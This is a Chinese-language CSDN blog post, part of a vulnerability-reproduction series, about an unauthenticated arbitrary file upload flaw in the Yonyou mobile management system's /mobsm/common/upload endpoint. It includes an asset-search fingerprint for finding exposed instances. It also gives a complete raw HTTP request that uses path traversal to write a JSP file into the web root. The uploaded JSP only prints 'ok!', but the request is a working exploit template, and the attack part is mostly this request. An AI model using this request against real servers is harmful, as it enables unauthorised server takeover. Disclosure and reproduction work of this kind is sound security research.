用友移动管理系统 upload任意文件上传漏洞

最新推荐文章于 2024-04-25 23:16:24 发布

keepb1ue

最新推荐文章于 2024-04-25 23:16:24 发布

阅读量571

点赞数 8

分类专栏：漏洞复现文章标签：安全 web安全 php

本文链接：https://blog.csdn.net/qq_36618918/article/details/135522438

版权

漏洞复现专栏收录该内容

69 篇文章 14 订阅

订阅专栏

用友移动系统管理系统存在任意文件上传漏洞，攻击者可上传恶意文件获取服务器权限。建议升级至安全版本，限制公网访问并设置白名单访问策略以保护系统安全。

摘要由CSDN通过智能技术生成

产品介绍

用友移动系统管理系统是用友公司推出的一款移动办公解决方案，旨在帮助企业实现移动办公、提高管理效率和员工工作灵活性。

漏洞描述

用友移动系统管理系统/mobsm/common/upload等接口存在任意文件上传漏洞，未经授权攻击者通过漏洞上传任意文件，最终可以获取服务器权限。

资产测绘

app=“用友-移动系统管理”
在这里插入图片描述

漏洞复现

POST /mobsm/common/upload?category=../webapps/nc_web/maupload/apk HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Cache-Control: no-cache
Postman-Token: c934bfdc-e761-442d-9471-2e2f3b5da156
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------800717874476702101754515
Content-Length: 255

----------------------------800717874476702101754515
Content-Disposition: form-data; name="file"; filename="1test.jsp"
Content-Type: application/octet-stream

<%
     out.println("ok!");
%>
----------------------------800717874476702101754515--